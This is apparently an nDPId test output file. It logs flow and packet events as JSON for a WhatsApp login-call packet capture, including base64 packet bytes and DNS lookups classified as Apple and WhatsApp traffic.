+00420{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582223,"pkt_ts_usec":379519,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAo\/GpAAEAGJ6bAqAIEEZpCecAOAbvaSAv7foHOKVAQQABkXAAA"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":24,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1432582224208,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.173.66.102","src_port":49169,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00421{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582224,"pkt_ts_usec":208142,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoKQFAAEAG+w\/AqAIEEa1CZsARAbueE\/YokxpP+1ARQAAf9QAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":25,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1432582224210,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"93.186.135.82","src_port":49173,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582224,"pkt_ts_usec":210874,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA05xtAAEAGq+\/AqAIEXbqHUsAVAFCuhm774V0pFoARIEWaRQAAAQEICi36IndY+IKz"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":26,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1432582224230,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"23.50.148.228","src_port":49172,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582224,"pkt_ts_usec":230305,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA05uBAAEAG5SDAqAIEFzKU5MAUAbtLz6It0ZnyqIARIAAW8QAAAQEICi36IooRXfsX"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":27,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1432582224235,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"5.178.42.26","src_port":49174,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582224,"pkt_ts_usec":235628,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0IU9AAEAGJv3AqAIEBbIqGsAWAFB5Ls3ledN1n4ARIFCQkQAAAQEICi36Io9kkidZ"} +00436{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582224,"pkt_ts_usec":238952,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0pWwAADkGNJ9duodSwKgCBABQwBXhXSkWroZu\/IARAeZAKgAAAQEIClj4+ywt+iJ3"} +00435{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582224,"pkt_ts_usec":240462,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA06DdAAEAGqtPAqAIEXbqHUsAVAFCuhm784V0pF4AQIEUhrwAAAQEICi36IpNY+Pss"} +00554{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582224,"pkt_ts_usec":258800,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"APS5Jrv0xiwDYGpkCABFAACJJDcAADkG7nUXMpTkwKgCBAG7wBTRmfKoS8+iLoAYAghwjQAAAQEIChFecist+iKKFQMDAFAv7dNuXnOpK1CdvNYEt52MdeH58dywqIMfN+GfFSQKoHdGcEPHPIYnDd6I8bRCtU0lSoikjPCdTCArNmgRywMWXqpqGQcfgITTy3erXmajWw=="} +00435{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582224,"pkt_ts_usec":259122,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0JDgAADkG7skXMpTkwKgCBAG7wBTRmfL9S8+iLoARAgi9fgAAAQEIChFecist+iKK"} +00420{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582224,"pkt_ts_usec":260445,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoLH4AAEAG34\/AqAIEFzKU5MAUAbtLz6IuAAAAAFAEAACRUAAA"} +00419{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582224,"pkt_ts_usec":260694,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAob+UAAEAGnCjAqAIEFzKU5MAUAbtLz6IuAAAAAFAEAACRUAAA"} +00435{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582224,"pkt_ts_usec":263291,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0UnIAADkGPNoFsioawKgCBABQwBZ503WfeS7N5oARAeY3ugAAAQEICmSSnpkt+iKP"} +00435{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582224,"pkt_ts_usec":264733,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0QQVAAEAGB0fAqAIEBbIqGsAWAFB5Ls3medN1oIAQIFAZNgAAAQEICi36Iqlkkp6Z"} +00420{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582224,"pkt_ts_usec":347733,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAopJIAAO4GEX4RrUJmwKgCBAG7wBGTGk\/7nhP2KVARCf9V9QAA"} +00421{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582224,"pkt_ts_usec":417934,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoVthAAEAGzTjAqAIEEa1CZsARAbueE\/YpkxpP\/FAQQAAf9AAA"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":38,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1432582225313,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.53","src_port":49175,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00421{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582225,"pkt_ts_usec":313229,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAobpJAAEAGk7DAqAIEEaxkNcAXAbvFrXCYlCt1nlAR\/\/91YwAA"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":39,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1432582225324,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.55","src_port":49165,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00421{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582225,"pkt_ts_usec":324066,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoYhRAAEAGoCzAqAIEEaxkN8ANAbtmBk0BJP5uJ1AR\/\/9vTgAA"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":40,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1432582225329,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.130.137.77","src_port":49176,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00420{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582225,"pkt_ts_usec":329255,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoYhlAAEAGezvAqAIEEYKJTcAYAbvMgisCtJzpXFARQAC7BQAA"} +00420{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582225,"pkt_ts_usec":380288,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAohYkAAPIG5coRgolNwKgCBAG7wBi0nOlczIIrA1AREADrBAAA"} +00420{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582225,"pkt_ts_usec":381763,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoSmNAAEAGkvHAqAIEEYKJTcAYAbvMgisDtJzpXVAQQAC7BAAA"} +00420{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582225,"pkt_ts_usec":453366,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAocjAAAO8GIRIRrGQ1wKgCBAG7wBeUK3Wexa1wmVARn\/7VYwAA"} +00421{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582225,"pkt_ts_usec":468458,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAoqzoAAO4G6QURrGQ3wKgCBAG7wA0k\/m4nZgZNAlARn\/7PTgAA"} +00421{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582225,"pkt_ts_usec":533202,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoGflAAEAG6EnAqAIEEaxkNcAXAbvFrXCZlCt1n1AQ\/\/91YgAA"} +00421{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582225,"pkt_ts_usec":533373,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAooItAAEAGYbXAqAIEEaxkN8ANAbtmBk0CJP5uKFAQ\/\/9vTQAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":47,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1432582227526,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"192.168.2.1","src_port":51897,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582227,"pkt_ts_usec":526441,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"xiwDYGpkAPS5Jrv0CABFAABBdxsAAEARfjvAqAIEwKgCAcq5ADUALb4mNPgBAAABAAAAAAAABXF1ZXJ5A2VzcwVhcHBsZQNjb20AAAEAAQ=="} +00644{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":47,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1432582227526,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"192.168.2.1","src_port":51897,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"query.ess.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00687{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582227,"pkt_ts_usec":594651,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"APS5Jrv0xiwDYGpkCABFAADtqMoAAEARS+DAqAIBwKgCBAA1yrkA2SFYNPiBgAABAAkAAAAABXF1ZXJ5A2VzcwVhcHBsZQNjb20AAAEAAcAMAAUAAQAASFYAIAVxdWVyeQllc3MtYXBwbGUDY29tBmFrYWRucwNuZXQAwDEAAQABAAAAOwAEEbJoDMAxAAEAAQAAADsABBGyaA7AMQABAAEAAAA7AAQRsmgnwDEAAQABAAAAOwAEEbJoJsAxAAEAAQAAADsABBGyaA3AMQABAAEAAAA7AAQRsmgPwDEAAQABAAAAOwAEEbJoC8AxAAEAAQAAADsABBGyaBA="} +00673{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":48,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":2,"flow_first_seen":1432582227526,"flow_last_seen":1432582227594,"flow_tot_l4_data_len":262,"flow_min_l4_data_len":45,"flow_max_l4_data_len":217,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"192.168.2.1","src_port":51897,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"query.ess.apple.com","num_queries":1,"num_answers":9,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"17.178.104.12"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":49,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1432582227595,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"192.168.2.1","src_port":52190,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582227,"pkt_ts_usec":595809,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA+I5EAAEAR0cjAqAIEwKgCAcveADUAKv\/L36MBAAABAAAAAAAAA2UxMwh3aGF0c2FwcANuZXQAAAEAAQ=="} +00651{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":49,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1432582227595,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"192.168.2.1","src_port":52190,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.WhatsApp","breed":"Acceptable","category":"Chat"},"dns": {"query":"e13.whatsapp.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":50,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1432582227604,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.178.104.12","src_port":49201,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582227,"pkt_ts_usec":604482,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkAPS5Jrv0CABFAABAZF5AAEAGme\/AqAIEEbJoDMAxAbvjm5\/WAAAAALAC\/\/9XjAAAAgQFtAEDAwQBAQgKLfovrgAAAAAEAgAA"} +00625{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582227,"pkt_ts_usec":624839,"pkt_caplen":204,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":204,"pkt_l4_len":170,"pkt":"APS5Jrv0xiwDYGpkCABFAAC+d\/oAAEARfN\/AqAIBwKgCBAA1y94AqhSs36OBgAABAAgAAAAAA2UxMwh3aGF0c2FwcANuZXQAAAEAAcAMAAEAAQAAC20ABJ5V6TTADAABAAEAAAttAASeVTpKwAwAAQABAAALbQAEuK2zJ8AMAAEAAQAAC20ABJ5VOnfADAABAAEAAAttAAS4rbMlwAwAAQABAAALbQAEnlU6M8AMAAEAAQAAC20ABK4k0i3ADAABAAEAAAttAASeVQXI"} +00680{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":51,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":2,"flow_first_seen":1432582227595,"flow_last_seen":1432582227624,"flow_tot_l4_data_len":212,"flow_min_l4_data_len":42,"flow_max_l4_data_len":170,"flow_avg_l4_data_len":106,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"192.168.2.1","src_port":52190,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.WhatsApp","breed":"Acceptable","category":"Chat"},"dns": {"query":"e13.whatsapp.net","num_queries":1,"num_answers":8,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"158.85.233.52"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":52,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1432582227643,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"184.173.179.37","src_port":49202,"dst_port":5222,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582227,"pkt_ts_usec":643274,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkAPS5Jrv0CABFAABACXVAAEAGAsTAqAIEuK2zJcAyFGaCPuKZAAAAALAC\/\/9xPwAAAgQFtAEDAwQBAQgKLfov1AAAAAAEAgAA"} +00451{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582227,"pkt_ts_usec":797145,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"APS5Jrv0xiwDYGpkCABFAAA8rYsAADQGqrG4rbMlwKgCBBRmwDLYm8Xcgj7imqAS\/\/9JMQAAAgQFrAEDAwkEAggKD\/GKmy36L9Q="} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":54,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1432582227884,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.178.104.14","src_port":49203,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582227,"pkt_ts_usec":884677,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkAPS5Jrv0CABFAABAKwpAAEAG00HAqAIEEbJoDsAzAbunfDOjAAAAALAC\/\/\/+yQAAAgQFtAEDAwQBAQgKLfowvwAAAAAEAgAA"} +00436{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582227,"pkt_ts_usec":885449,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0779AAEAGHIXAqAIEuK2zJcAyFGaCPuKa2JvF3YAQIFhWrQAAAQEICi36MMYP8Yqb"} 